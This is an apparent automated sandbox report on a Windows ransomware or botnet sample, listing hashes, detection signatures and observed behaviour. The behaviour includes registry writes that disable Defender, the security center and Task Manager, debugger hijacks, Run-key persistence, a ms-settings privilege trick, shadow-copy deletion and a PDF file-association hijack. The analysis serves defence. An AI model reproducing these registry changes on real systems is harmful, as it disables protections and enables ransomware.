Analysis
- max time kernel
149s - max time network
155s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
17/05/2026, 02:19
Static task
static1
4 signatures
Behavioral task
behavioral1
Sample
2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
46 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win11-20260513-en
windows11-21h2-x64
45 signatures
150 seconds
General
- Target 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe
- Size 48KB
- Sample260517-crvcwsfv3l
- SHA256 13d3d54f50d082290854f24fd5a4ee673c6d6209b1afad94a6a50fdbb8e20672
- MD5 c43c2b0f725e12817159b30506dd9a4e
- SHA1 593beefa3676662e2d7a8602e68d6b856f4d2950
- SHA512 f6d888aeac3a3bc29bebb1af851215379a1758991e23e47005b1ebd7b063adddbea5752fce6d7076677e11ad8ed8314fad657cf9cc59571241dc5337664034c0
- SSDEEP 768:WhACrXoD+LmjXsvFisuFV4i//o4qC1XXGblfA00KFcf:WjEDY2SA9OiI4qEXGblf90ucf
- TLSH T17823070437F98511E2FF5ABA4DB196019B30F4A79C22D78E06D5058E1AB3B40DEA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/1828-0-0x00000000001E0000-0x00000000001F2000-memory.dmp disable_win_def behavioral2/files/0x001700000002b804-2415.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Custom signatureDetects command variations typically used by ransomware 2 IoCs
resource yara_rule behavioral2/memory/1828-0-0x00000000001E0000-0x00000000001F2000-memory.dmp INDICATOR_SUSPICIOUS_GENRansomware behavioral2/files/0x001700000002b804-2415.dat INDICATOR_SUSPICIOUS_GENRansomware - Custom signatureDetects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
resource yara_rule behavioral2/memory/1828-0-0x00000000001E0000-0x00000000001F2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender behavioral2/files/0x001700000002b804-2415.dat INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3864 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 292 netsh.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Windows\system32\sysupdate.exe 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Windows\system32\sysupdate.exe 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 4656 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2148 sc.exe 3008 sc.exe 984 sc.exe 1496 sc.exe 4048 sc.exe 400 sc.exe 1168 sc.exe 6128 sc.exe 5620 sc.exe 3244 sc.exe 1708 sc.exe 2456 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 4548 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 868 ipconfig.exe 2884 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2968 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3720 vssadmin.exe 2588 vssadmin.exe 3160 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000\Control Panel\Desktop\WallpaperStyle = "2" 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134237544922706245" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\ms-settings\shell\open\command 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\ms-settings 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\.pdf\ = "PDFBotnet" 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\ms-settings\shell\open 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\ms-settings\shell\open\command\DelegateExecute 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\ms-settings\shell\open 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe\" \"%1\"" 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\ms-settings\shell\open\command 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\ms-settings 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\ms-settings\shell 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000_Classes\ms-settings\shell 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
